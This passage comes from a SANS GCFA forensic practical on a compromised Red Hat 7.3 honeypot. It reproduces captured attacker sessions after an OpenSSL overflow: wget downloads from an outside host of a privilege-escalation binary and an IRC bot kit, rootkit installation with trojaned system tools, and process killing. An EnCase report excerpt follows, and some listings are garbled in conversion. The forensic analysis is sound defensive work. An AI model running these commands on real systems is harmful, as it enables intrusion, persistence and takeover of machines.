15:11:18 (195.87 KB/s) - `s.tar.gz' saved [352596/352596]
```

tar -zxvf s.tar.gz;rm -rf s.tar.gz;
.
.s/
.s/.s/du
.s/.s/find
.s/.s/killall
.s/.s/linaniffer
.s/ls
.s/.s/netstat
.s/.s/ps
.s/.s/pstree
.s/.s/vdir
.s/.s/top
.s/.s/laddc
.s/.s/lfile
.s/.s/llogz
.s/.s/.iproc
.s/.s/clean
.s/.s/nfsd/
.s/.s/nfsd/nfsd_config
.s/.s/nfsd/xhr_h
.s/.s/nfsd/xhr_r
.s/.s/nfsd/nfsd
.s/.s/sshd/
.s/.s/sshd/init.ssdh
.s/.s/sshd/ssh_host_key
.s/.s/sshd/sshd-install
.s/.s/sshd/sshd_config
.s/.s/install
.s/.s/sense
.s/.s/.p.ssdh

```
ls -al
```
total 39

drwxrwxrwx+ 16 root root 1024 Jun 29 15:11 .
drwxrwxrwx+ 19 root root 1024 Jun 23 11:59 ..
drwxrwxrwx+ 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x+ 1 root root 11 Jun 23 12:00 .XO-lock
drwxrwxrwx+ 2 root root 1024 Jun 23 12:00 .X-unix

```
drwxsr-xr-x 2 root root 1024 Jun 19 11:43 .kde
drwxsr-xr-x 2 root root 1024 Jun 19 11:43 .mozilla

drwxsr-xr-x 2 root root 1024 Jun 19 11:43 .qt
-rw-xr-x-+ 1 root root 1024 Jun 20 02:17 .rnd
drwxsr-xr-x 4 502 502 1024 Mar 24 21:41 .s
-rw-xr-x-+ 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x+ 1 root root 890 Jun 20 04:14 X-Test.log
-rwxr-xr-x+ 1 root root 4133 Jun 20 04:14 XF86Config.test
drwxsr-xr-x 2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drwxsr-xr-x 2 root root 1024 Jun 20 10:55 kde-root
drwxsr-xr-x 2 userid1 userid1 1024 Jun 26 16:40 ksocket-userid1
drwxsr-xr-x 2 root root 1024 Jun 23 11:55 ksocket-root

drwxsr-xr-x 3 userid1 userid1 1024 Jun 23 12:18 mcop-userid1
drwxsr-xr-x 3 root root 1024 Jun 20 10:55 mcop-root
-rw-xr-x-+ 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drwxsr-xr-x 2 root root 1024 Jun 20 02:20 texconf.Nzu100
```

cd .s
At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/s. This session started at 15:10:48 and completed at 15:15:18.

```
/bin/sh: line 1: 19508 Killed su
rm -rf ls ps
bash: [19488: 1] tcsetattr: Invalid argument
bash-2.05a$ exit
```

```
TERM=xterm; export TERM=xterm; exec bash -i
```

```
uname -a; id; w;
bash-2.05a$ Linux
rhl 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:20pm up 6 days, 3:22, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 6days 0.00s ? -
userid1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
userid1 pts/2 - Fri 8am 47:13m 0.49s 0.39s -bash
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
```

```
cd /tmp
```

```
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readl
ine:
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ --15:21:42--
http://XXX.XXX.com/eladoht/stuff/r
 => `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
100% 76.87 KB/s
15:21:43 (76.87 KB/s) - `r' saved [19916/19916]
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ [+]
```

```
./r
```

```
Attached to 19602
[+]: Signal caught
[+]: Shellcode placed at 0x4000fd1d
[+]: Now wait for suid shell...
```

```
su
rm -rf r
```

```
cd /install
```

```
\[0m\[1;30m\] |\[0m\[1;31m|\[0m\[1;37mInstalling trojaned programs\[0m\[1;37m
\[0m\[1;31m|\[0m\[1;30m-\[0m\[1;37mps
\[0m\[1;31m\] |\[0m\[1;37m failed ***\[0m\[1;37m
\[0m\[1;31m|\[0m\[1;30m-\[0m\[1;37mtop
\[0m\[1;31m|\[0m\[1;30m--\[0m\[1;37mmpstree
\[0m\[1;31m\] |\[0m\[1;37m
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Another session is established to load bot.tar.gz. The bot.tar.gz kit provides IRC access to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157 - 192.168.002.015.00443 and 192.168.002.015.00443 - XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font - unix. This occurs after the buffer overflow. The session starts at 15:18:27 and completes at 15:30:03.

exec bash -i
uname -a; id; w;
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a LINUX rh1 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:28pm up 6 days, 3:29, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 6days 0.00s ? -
userid1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
userid1 pts/2 - Fri 8am 47:20m 0.49s 0.39s -bash
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ cd /tmp
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ ls -al
bash: [19893: 1] tcsetattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ dir -al
total 64
drwx-xr-x 20 root root 1024 Jun 29 15:22 ..
drwcrwxrwx 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr--r-- 1 root root 11 Jun 23 12:00 .XO-lock
drwcrwxrwx 2 root root 1024 Jun 23 12:00 .X11-unix
drwcrwxrwx 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwxx-xr-x 2 root root 1024 Jun 19 11:43 .kde
drwxx-xr-x 2 root root 1024 Jun 19 11:48 .mozilla
drwxx-xr-x 2 root root 1024 Jun 19 11:43 .qt
-rw------- 1 root root 1024 Jun 20 02:17 .rnd
drwxx-xr-x 4 502 502 1024 Jun 29 15:22 .
-rwxr--r-- 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 .X-Test.log
-rwxr-xr-x 1 root root 13417 Jun 20 04:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 .X-Test.log
drwxx-xr-x 2 user1d user1d 1024 Jun 23 12:18 kde-user1d
drwxx-xr-x 2 root root 1024 Jun 23 12:18 kde-root
drwxx-xr-x 2 user1d user1d 1024 Jun 23 12:18 ksocket-user1d
drwxx-xr-x 2 root root 1024 Jun 23 11:55 ksocket-root
drwxx-xr-x 3 user1d user1d 1024 Jun 23 12:18 mcop-user1d
drwxx-xr-x 3 root root 1024 Jun 23 10:55 mcop-root
-rwxr-xr-x 1 apache apache 24012 Jun 29 15:28 r
-rwxr-xr-x 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drwxx-xr-x 2 root root 1024 Jun 20 02:20 texconf.Nzu100
readline: warning: rl_prep_terminal: cannot get terminal settings
bash -v
[19893: 1] tcsetattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settings
bash -v
`/font`
cd: font-unix: No such file or directory
bash -v
```
cd .X11-
```
cd: .X11-
No such file or directory
bash -v
```
chmod: getting attributes of `inetd/services': No such file or directory
```
bash -v
```
```
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-
```
cd .X11-
chmod +x inetd/services;inetd/services;inetd/services
bash -v
```
```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash -v
```
```
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
15:32:45 (179.21 KB/s) - `bot.tgz' saved [764880/764880]
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/lpd.help
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
© SANS Institute 2004, Author retains full rights.
.X11-pipe/randfiles/randkicks.e
.X11-pipe/randfiles/randnicks.e
.X11-pipe/randfiles/randpickup.e
.X11-pipe/randfiles/randsay.e
.X11-pipe/randfiles/randsignoff.e
.X11-pipe/randfiles/randversions.e
.X11-pipe/src/
.X11-pipe/src/Makefile.in
.X11-pipe/src/cfgfile.c
.X11-pipe/src/channel.c
.X11-pipe/src/com-ons.c
.X11-pipe/src/combot.c
.X11-pipe/src/commands.c
.X11-pipe/src/config.h.in
.X11-pipe/src/dcc.c
.X11-pipe/src/debug.c
.X11-pipe/src/defines.h
.X11-pipe/src/function.c
.X11-pipe/src/global.h
.X11-pipe/src/h.h
.X11-pipe/src/link.c
.X11-pipe/src/main.c
.X11-pipe/src/gencmd.c
.X11-pipe/src/parse.c
.X11-pipe/src/socket.c
.X11-pipe/src/structs.h
.X11-pipe/src/usage.h
.X11-pipe/src/userlist.c
.X11-pipe/src/vars.c
.X11-pipe/src/xmech.c
.X11-pipe/src/Makefile
.X11-pipe/src/config.h
.X11-pipe/src/gencmd
.X11-pipe/src/mcmd.h
.X11-pipe/src/cfgfile.o
.X11-pipe/src/channel.o
.X11-pipe/src/com-ons.o
.X11-pipe/src/combot.o
.X11-pipe/src/commands.o
.X11-pipe/src/dcc.o
.X11-pipe/src/debug.o
.X11-pipe/src/function.o
.X11-pipe/src/link.o
.X11-pipe/src/main.o
.X11-pipe/src/parse.o
.X11-pipe/src/socket.o
.X11-pipe/src/userlist.o
.X11-pipe/src/vars.o
.X11-pipe/src/xmech.o
.X11-pipe/mech.set
.X11-pipe/mech.levels
.X11-pipe/LinkEvents
.X11-pipe/lpd.usr
.X11-pipe/W4cr0n0r.seen
.Xr11-pipe/lpd.session
.Xr11-pipe/checklpd
.Xr11-pipe/inetd/
.Xr11-pipe/inetd/services
bash: [19893: 1] tcsetattr: Invalid argument

ps
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$

PID TTY TIME CMD
10606 7 00:00:00 httpd
10607 7 00:00:00 httpd
10608 7 00:00:00 httpd
10609 7 00:00:00 httpd
10610 7 00:00:00 httpd
ps ax

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$

<table>
<thead>
<tr>
<th>PID</th>
<th>TTY</th>
<th>STAT</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>S</td>
<td>0:04</td>
<td>init</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>SW</td>
<td>0:00</td>
<td>[keventd]</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>SW</td>
<td>0:00</td>
<td>[kapmd]</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>SWN</td>
<td>0:00</td>
<td>[ksoftirdq_CPU0]</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>SW</td>
<td>0:02</td>
<td>[kswapd]</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>SW</td>
<td>0:00</td>
<td>[bdflush]</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SW</td>
<td>0:00</td>
<td>[kupdatd]</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>SW</td>
<td>0:00</td>
<td>[mdrepositoryd]</td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>SW</td>
<td>0:00</td>
<td>[khubd]</td>
<td></td>
</tr>
<tr>
<td>186</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>187</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>188</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>189</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>657</td>
<td>S</td>
<td>0:00</td>
<td>rcp.statd</td>
<td></td>
</tr>
<tr>
<td>770</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-ss</td>
<td></td>
</tr>
<tr>
<td>790</td>
<td>SL</td>
<td>0:01</td>
<td>ntpd -U ntp -g</td>
<td></td>
</tr>
<tr>
<td>842</td>
<td>S</td>
<td>0:01</td>
<td>/usr/sbin/sshd</td>
<td></td>
</tr>
<tr>
<td>875</td>
<td>S</td>
<td>0:00</td>
<td>xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid</td>
<td></td>
</tr>
<tr>
<td>916</td>
<td>S</td>
<td>0:00</td>
<td>sendmail: accepting connections</td>
<td></td>
</tr>
<tr>
<td>935</td>
<td>S</td>
<td>0:00</td>
<td>gpm -t ps/2 -m /dev/mouse</td>
<td></td>
</tr>
<tr>
<td>953</td>
<td>S</td>
<td>0:00</td>
<td>crond</td>
<td></td>
</tr>
<tr>
<td>1005</td>
<td>S</td>
<td>0:03</td>
<td>xfss -droppriv -daemon</td>
<td></td>
</tr>
<tr>
<td>1041</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/atd</td>
<td></td>
</tr>
<tr>
<td>1050</td>
<td>tty1</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/tingetty tty1</td>
</tr>
<tr>
<td>1051</td>
<td>tty2</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/tingetty tty2</td>
</tr>
<tr>
<td>1052</td>
<td>tty3</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/tingetty tty3</td>
</tr>
<tr>
<td>1053</td>
<td>tty4</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/tingetty tty4</td>
</tr>
<tr>
<td>1054</td>
<td>tty5</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/tingetty tty5</td>
</tr>
<tr>
<td>1055</td>
<td>tty6</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/tingetty tty6</td>
</tr>
<tr>
<td>1056</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bin/kdm -nodaemon</td>
<td></td>
</tr>
<tr>
<td>1066</td>
<td>S</td>
<td>671:43</td>
<td>/usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEgq</td>
<td></td>
</tr>
<tr>
<td>1067</td>
<td>S</td>
<td>0:00</td>
<td>-0</td>
<td></td>
</tr>
<tr>
<td>1091</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sh /usr/bin/startkde</td>
<td></td>
</tr>
<tr>
<td>1175</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: Running...</td>
<td></td>
</tr>
<tr>
<td>1178</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: dcopserver --nosid</td>
<td></td>
</tr>
<tr>
<td>1181</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: klauncher</td>
<td></td>
</tr>
<tr>
<td>1183</td>
<td>S</td>
<td>5:52</td>
<td>kdeinit: kded</td>
<td></td>
</tr>
</tbody>
</table>
```bash
19832 ? Z 0:00 [ls <defunct>]
19834 ? T 0:00 ls -al
19835 ? Z 0:00 [ls <defunct>]
19893 ? S 0:00 bash -l
19905 ? T 0:00 ls -al
19906 ? Z 0:00 [ls <defunct>]
19936 ? S 0:00 inetd/services
19941 ? S 0:00 inetd/services
19944 ? R 0:00 ps ax

killall -9 ls cp chmod

readline: warning: rl_prep_terminal: cannot get terminal setting
bash-2.05a$

(none) (19697): Operation not permitted
(none) (19701): Operation not permitted
(none) (19783): Operation not permitted
(none) (19801): Operation not permitted
(none) (19802): Operation not permitted
(none) (19806): Operation not permitted
(none) (19808): Operation not permitted
(none) (19813): Operation not permitted
(none) (19814): Operation not permitted

cp: no process killed

chmod: no process killed

ps ax

readline: warning: rl_prep_terminal: cannot get terminal setting
bash-2.05a$

PID TTY STAT TIME COMMAND
1 ? S 0:04 init
2 ? SW 0:00 [keventd]
3 ? SW 0:00 [kapmd]
4 ? SWN 0:00 [ksoftirqd_CPU0]
5 ? SW 0:02 [kswapd]
6 ? SW 0:00 [bdflush]
7 ? SW 0:00 [kupdate]
8 ? SW 0:00 [mdrecoveryd]
12 ? SW 0:00 [kjournald]
186 ? SW 0:00 [kjournald]
187 ? SW 0:00 [kjournald]
188 ? SW 0:00 [kjournald]
189 ? SW 0:00 [kjournald]
657 ? S 0:00 rpc.statd
770 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -w -P /etc/sysconfig/apm-sc
790 ? SL 0:01 ntpd -u -p -g
846 ? S 0:01 /usr/sbin/sshd
875 ? S 0:00 xinetd: stayalive -reuse -pidfile /var/run/xinetd.pid
916 ? S 0:00 sendmail: accepting connections
935 ? S 0:00 gpm -t ps/2 -m /dev/mouse
953 ? S 0:00 cron
1005 ? S 0:03 xfs -droppriv -daemon
1041 ? S 0:00 /usr/sbin/atd
1050 tty1 S 0:00 /sbin/mingetty tty1
1051 tty2 S 0:00 /sbin/mingetty tty2
1052 tty3 S 0:00 /sbin/mingetty tty3
1053 tty4 S 0:00 /sbin/mingetty tty4
1054 tty5 S 0:00 /sbin/mingetty tty5
1055 tty6 S 0:00 /sbin/mingetty tty6
1056 S 0:00 /usr/bin/kdm --nodaemon
1066 ? S 671:43 /usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEqz
1067 ? S 0:00 -l
1069 ? S 0:00 /bin/sh /usr/bin/startkde
1175 ? S 0:00 kdeinit: Running...
1178 ? S 0:00 kdeinit: dcopserver --nosid
1181 ? S 0:00 kdeinit: klauncher
1183 ? S 5:52 kdeinit: kded
1192 ? S 0:02 /usr/bin/artsd -P 10 -S 4096 -s 60 -m artsmessage -l
```
<table>
<thead>
<tr>
<th>PID</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>19941</td>
<td>S 0:00 inetd/services</td>
</tr>
<tr>
<td>19948</td>
<td>R 0:00 ps ax</td>
</tr>
</tbody>
</table>

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ exit
Appendix F

EnCase – Final Report - Linux 7.3 System.

EnCase Computer Analysis Report

Investigating Agency

Investigating Agency: 
Sans GCFA Cert
Investigating Officer: 
Kevin Miller
12 Main
Here, Over There

Investigation Details

The evidence was delivered to Kevin Miller on June 30, 2003. 

<table>
<thead>
<tr>
<th>Items received</th>
<th>Quantity</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Desktop computers</td>
<td>1</td>
<td>Compaq Deskpro P400</td>
</tr>
</tbody>
</table>

Special Circumstances

System from HoneyNet run from June 27 to June 30, 2003.
EnCase Computer Analysis Report

Linux 7.3 Honey pot system

Device
Evidence Number: Linux 7.3 Honey pot system
File Path: C:sans\evidence files\Linux 7.3 Honey pot system.E01
Examiner Name: Kevin Miller
Actual Date: 07/16/03 11:03:19AM
Target Date: 07/16/03 11:03:19AM
Total Size: 6,448,619,520 bytes (6.0GB)
Total Sectors: 12,594,960
File Integrity: Completely Verified, 0 Errors
Write Blocker: FastBloc
EnCase Version: 4.14
System Version: Windows XP
Acquisition Hash: 579720D58A61D971083F10695B8249CB
Verify Hash: 579720D58A61D971083F10695B8249CB

Partitions
<table>
<thead>
<tr>
<th>Code</th>
<th>Type</th>
<th>Start Sector</th>
<th>Total Sectors</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>0</td>
<td>105,840</td>
<td>51.7MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>105,840</td>
<td>7,817,040</td>
<td>3.7GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>7,922,880</td>
<td>2,842,560</td>
<td>1.4GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>10,765,440</td>
<td>786,240</td>
<td>383.9MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>11,551,680</td>
<td>529,200</td>
<td>258.4MB</td>
</tr>
<tr>
<td>82</td>
<td>Linux Swap</td>
<td>12,080,880</td>
<td>514,080</td>
<td>251.0MB</td>
</tr>
</tbody>
</table>

OS Background

OS Version /etc/issue
Red Hat Linux release 7.3 (Valhalla)

File system layout from fstab.

LABEL=/
LABEL=/boot
none
LABEL=/home
none
LABEL=/usr
none
LABEL=/var
/dev/hda7
/dev/cdrom
/dev/fd0
/ext3 defaults 1 1
/ext3 defaults 1 2
devpts gid=5,mode=620 0 0
/ext3 defaults 1 2
/tmpfs defaults 0 0
/ext3 defaults 1 2
swap defaults 0 0
iso9660 noauto,owner,kudzu,ro 0 0
auto noauto,owner,kudzu 0 0
Volume /boot

**Volume**

- **File System:** EXT3
- **Sectors per cluster:** 2
- **Total Sectors:** 105,777
- **Total Sectors:** 54,157,312 bytes (51.7MB)
- **Total Clusters:** 52,888
- **Total Clusters:** 43,376,640 bytes (41.4MB)
- **Free Clusters:** 42,360
- **Free Clusters:** bytes (10.3MB)
- **Volume Name:**
- **Drive Type:** Fixed
- **Bytes per sector:** 512
- **Total Capacity:**
- **Unallocated:**
- **Allocated:** 10,780,672
- **Volume Offset:** 63

The following are bookmarks from Volume /boot
Volume `/usr`

<table>
<thead>
<tr>
<th>Volume</th>
<th></th>
<th>Drive Type</th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>File System:</td>
<td>EXT3</td>
<td>Fixed</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sectors per cluster:</td>
<td>8</td>
<td>512</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>7,817,040</td>
<td>Total Capacity:</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4,002,324,480 bytes (3.7GB)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>977,130</td>
<td>Unallocated:</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2,523,922,432 bytes (2.4GB)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>616,192</td>
<td>Allocated:1,478,402,048</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>bytes (1.4GB)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Volume Name:</td>
<td></td>
<td>Volume Offset: 105,840</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume `/usr`
weit file in /usr/bin

modified files

Modified Files

Volume /home

<table>
<thead>
<tr>
<th>Volume</th>
<th>File System:</th>
<th>EXT3</th>
<th>Drive Type:</th>
<th>Fixed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sectors per cluster:</td>
<td></td>
<td>8</td>
<td>Bytes per sector:</td>
<td>512</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td></td>
<td>2,842,560</td>
<td>Total Capacity:</td>
<td></td>
</tr>
<tr>
<td>1,455,390,720 bytes (1.4GB)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total Clusters:</td>
<td></td>
<td>355,320</td>
<td>Unallocated:</td>
<td></td>
</tr>
<tr>
<td>1,397,174,272 bytes (1.3GB)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Free Clusters:</td>
<td></td>
<td>341,107</td>
<td>Allocated:</td>
<td>58,216,448</td>
</tr>
<tr>
<td>bytes (55.5MB)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Volume Name:</td>
<td></td>
<td>7,922,880</td>
<td>Volume Offset:</td>
<td></td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /home
Volume /

**Volume**

- **File System:** EXT3
- **Sectors per cluster:** 2
- **Total Sectors:** 786,177
  - Total Clusters: 393,088
  - Free Clusters: 309,555
- **Total Capacity:** 402,522,112 bytes (383.9MB)
  - Allocated: 85,537,792 bytes (81.6MB)
  - Unallocated: 316,984,320 bytes (302.3MB)
- **Volume Name:** Volume Offset: 10,765,503

The following are bookmarks from Volume /

**startup files**

**Startup Files**

- **6) Name inittab**
- **Description File**
- **Full Path** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\inittab
- **Entry Modified** 06/20/03 04:14:39AM
- **Last Accessed** 06/30/03 04:45:40PM
- **Last Written** 06/20/03 04:14:39AM
- **Hash Value** 340fae11d6076e860f7fe0e0069c2e57
- **Physical Size** 2,048
- **Logical Size** 1,756
- **Short Name**

**Comment:** The config file used for booting.

```bash
#/ inittab  This file describes how the INIT process should set up the system in a certain run-level.
#/  Author:  Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
#/  Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
#/ Default runlevel. The runlevels used by RHS are:
#/  0  -  halt  (Do NOT set initdefault to this)
#/  1  -  Single user mode
#/  2  -  Multiuser, without NFS  (The same as 3, if you do not have networking)
#/  3  -  Full multiuser mode
#/  4  -  unused
#/  5  -  X11
#/  6  -  reboot  (Do NOT set initdefault to this)
#/
#id:5:initdefault:
#
#/ System initialization.
```
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment

**Entry Modified**: 06/19/03 11:35:03AM  
**Last Accessed**: 06/27/03 02:09:10PM  
**Last Written**: 06/19/03 11:35:03AM

**Hash Value**: cd93e8654c65ca1dd8e6d099c06d2f6f

**Physical Size**: 2,048

**Logical Size**: 1,273

**Short Name**: keytable

---

#### 7) **Name**  keytable  
**Description**  File  
**Full Path**  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\keytable

---

#### 8) **Name**  atd  
**Description**  File  
**Full Path**  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\atd

---

### These scripts are used by inittab for booting

```plaintext
si::sysinit:/etc/rc.d/rc.sysinit

10:0:wait:/etc/rc.d/rc 0  
11:1:wait:/etc/rc.d/rc 1  
12:2:wait:/etc/rc.d/rc 2  
13:3:wait:/etc/rc.d/rc 3  
14:4:wait:/etc/rc.d/rc 4  
15:5:wait:/etc/rc.d/rc 5  
16:6:wait:/etc/rc.d/rc 6

# Things to run in every runlevel.
ud::once:/sbin/update

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
prf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr::powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodaemon
```
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>9) kdcrotate</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\kdcrotate</td>
<td>06/19/03 11:36:46AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/01/02 08:43:05AM</td>
<td>52c90cfd7106168e12784574f66a9c87</td>
<td>2,048</td>
<td>1,084</td>
</tr>
<tr>
<td>10) gpm</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\gpm</td>
<td>06/19/03 11:36:39AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/09/02 11:43:30AM</td>
<td>57c68b9be4338b491c5dc2aeaca24520</td>
<td>2,048</td>
<td>1,541</td>
</tr>
<tr>
<td>11) sendmail</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\sendmail</td>
<td>06/19/03 11:36:55AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/08/02 04:55:40AM</td>
<td>daa93b1212b89d05790756e71d5723</td>
<td>2,048</td>
<td>1,830</td>
</tr>
<tr>
<td>12) kudzu</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\kudzu</td>
<td>06/19/03 11:36:50AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/17/02 04:11:44PM</td>
